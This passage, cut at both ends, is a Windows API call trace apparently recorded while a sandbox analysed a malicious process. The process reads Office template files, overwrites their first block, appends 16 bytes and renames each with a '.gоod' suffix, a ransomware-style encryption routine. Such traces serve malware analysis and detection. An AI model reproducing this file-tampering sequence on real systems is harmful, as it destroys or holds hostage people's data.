lpBuffer=0x3941d50*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0250.628] CloseHandle (hObject=0x834) returned 1 [0250.629] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx", lpFilePart=0x0) returned 0x49 [0250.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0250.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0250.629] GetFileType (hFile=0x834) returned 0x1 [0250.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0250.629] GetFileType (hFile=0x834) returned 0x1 [0250.629] WriteFile (in: hFile=0x834, lpBuffer=0x37e5d40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x37e5d40*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0250.878] CloseHandle (hObject=0x834) returned 1 [0250.931] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx", lpFilePart=0x0) returned 0x49 [0250.961] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx.gоod", lpFilePart=0x0) returned 0x4e [0250.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0250.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91befeed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcf28)) returned 1 [0250.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0250.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessletter.dotx.gоod")) returned 1 [0250.962] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx", lpFilePart=0x0) returned 0x49 [0250.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0250.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3935c78 | out: lpFileInformation=0x3935c78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43753)) returned 1 [0250.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0250.962] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx", lpFilePart=0x0) returned 0x49 [0250.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0250.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0250.963] GetFileType (hFile=0x8a0) returned 0x1 [0250.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0250.963] GetFileType (hFile=0x8a0) returned 0x1 [0250.963] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0250.963] ReadFile (in: hFile=0x8a0, lpBuffer=0x39360b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x39360b0*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0250.963] CloseHandle (hObject=0x8a0) returned 1 [0250.964] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx", lpFilePart=0x0) returned 0x49 [0250.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0250.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0250.964] GetFileType (hFile=0x8a0) returned 0x1 [0250.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0250.964] GetFileType (hFile=0x8a0) returned 0x1 [0250.964] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x43753 [0250.964] WriteFile (in: hFile=0x8a0, lpBuffer=0x3937780*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3937780*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0250.965] CloseHandle (hObject=0x8a0) returned 1 [0250.965] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx", lpFilePart=0x0) returned 0x49 [0250.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0250.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0250.965] GetFileType (hFile=0x8a0) returned 0x1 [0250.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0250.965] GetFileType (hFile=0x8a0) returned 0x1 [0250.965] ReadFile (in: hFile=0x8a0, lpBuffer=0x3939b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3939b08*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0250.998] CloseHandle (hObject=0x8a0) returned 1 [0250.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx", lpFilePart=0x0) returned 0x49 [0250.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0250.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0250.998] GetFileType (hFile=0x8a0) returned 0x1 [0250.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0250.998] GetFileType (hFile=0x8a0) returned 0x1 [0250.998] WriteFile (in: hFile=0x8a0, lpBuffer=0x3938850*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3938850*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0250.999] CloseHandle (hObject=0x8a0) returned 1 [0250.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx", lpFilePart=0x0) returned 0x49 [0250.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx.gоod", lpFilePart=0x0) returned 0x4e [0250.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0250.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91d2118d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x43763)) returned 1 [0250.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0250.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessreport.dotx.gоod")) returned 1 [0251.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx", lpFilePart=0x0) returned 0x49 [0251.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0251.000] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x39b5f20 | out: lpFileInformation=0x39b5f20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe72)) returned 1 [0251.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0251.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx", lpFilePart=0x0) returned 0x49 [0251.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0251.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0251.001] GetFileType (hFile=0x8a0) returned 0x1 [0251.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0251.001] GetFileType (hFile=0x8a0) returned 0x1 [0251.001] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0251.001] ReadFile (in: hFile=0x8a0, lpBuffer=0x39b6358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x39b6358*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0252.324] CloseHandle (hObject=0x8a0) returned 1 [0253.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx", lpFilePart=0x0) returned 0x49 [0253.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0253.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0253.685] GetFileType (hFile=0x8a0) returned 0x1 [0253.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0253.685] GetFileType (hFile=0x8a0) returned 0x1 [0253.685] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0xbe72 [0253.685] WriteFile (in: hFile=0x8a0, lpBuffer=0x3b0f178*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3b0f178*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0253.686] CloseHandle (hObject=0x8a0) returned 1 [0253.686] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx", lpFilePart=0x0) returned 0x49 [0253.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0253.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0253.686] GetFileType (hFile=0x8a0) returned 0x1 [0253.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0253.686] GetFileType (hFile=0x8a0) returned 0x1 [0253.686] ReadFile (in: hFile=0x8a0, lpBuffer=0x3b12578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3b12578*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0258.201] CloseHandle (hObject=0x8a0) returned 1 [0258.202] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx", lpFilePart=0x0) returned 0x49 [0258.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0258.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0258.202] GetFileType (hFile=0x8a0) returned 0x1 [0258.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0258.202] GetFileType (hFile=0x8a0) returned 0x1 [0258.202] WriteFile (in: hFile=0x8a0, lpBuffer=0x3367c68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3367c68*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0258.202] CloseHandle (hObject=0x8a0) returned 1 [0258.202] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx", lpFilePart=0x0) returned 0x49 [0258.202] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx.gоod", lpFilePart=0x0) returned 0x4e [0258.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0258.202] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x961d40a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbe82)) returned 1 [0258.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0258.202] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessresume.dotx.gоod")) returned 1 [0258.204] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx", lpFilePart=0x0) returned 0x43 [0258.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0258.204] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\training.potx"), fInfoLevelId=0x0, lpFileInformation=0x387edf0 | out: lpFileInformation=0x387edf0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12f35d)) returned 1 [0258.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0258.205] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx", lpFilePart=0x0) returned 0x43 [0258.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0258.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\training.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0258.205] GetFileType (hFile=0x8a0) returned 0x1 [0258.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0258.205] GetFileType (hFile=0x8a0) returned 0x1 [0258.205] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0258.205] ReadFile (in: hFile=0x8a0, lpBuffer=0x387f1f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x387f1f8*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0258.206] CloseHandle (hObject=0x8a0) returned 1 [0258.206] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx", lpFilePart=0x0) returned 0x43 [0258.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0258.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\training.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0258.206] GetFileType (hFile=0x8a0) returned 0x1 [0258.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0258.207] GetFileType (hFile=0x8a0) returned 0x1 [0258.207] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x12f35d [0258.207] WriteFile (in: hFile=0x8a0, lpBuffer=0x3880660*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3880660*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0258.208] CloseHandle (hObject=0x8a0) returned 1 [0258.208] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx", lpFilePart=0x0) returned 0x43 [0258.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0258.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\training.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0258.208] GetFileType (hFile=0x8a0) returned 0x1 [0258.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0258.208] GetFileType (hFile=0x8a0) returned 0x1 [0258.208] ReadFile (in: hFile=0x8a0, lpBuffer=0x3882eb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3882eb0*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0258.424] CloseHandle (hObject=0x8a0) returned 1 [0258.424] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx", lpFilePart=0x0) returned 0x43 [0258.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0258.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\training.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0258.425] GetFileType (hFile=0x8a0) returned 0x1 [0258.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0258.425] GetFileType (hFile=0x8a0) returned 0x1 [0258.425] WriteFile (in: hFile=0x8a0, lpBuffer=0x36fbc40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x36fbc40*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0258.425] CloseHandle (hObject=0x8a0) returned 1 [0258.425] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx", lpFilePart=0x0) returned 0x43 [0258.425] GetFullPathNameW (in: 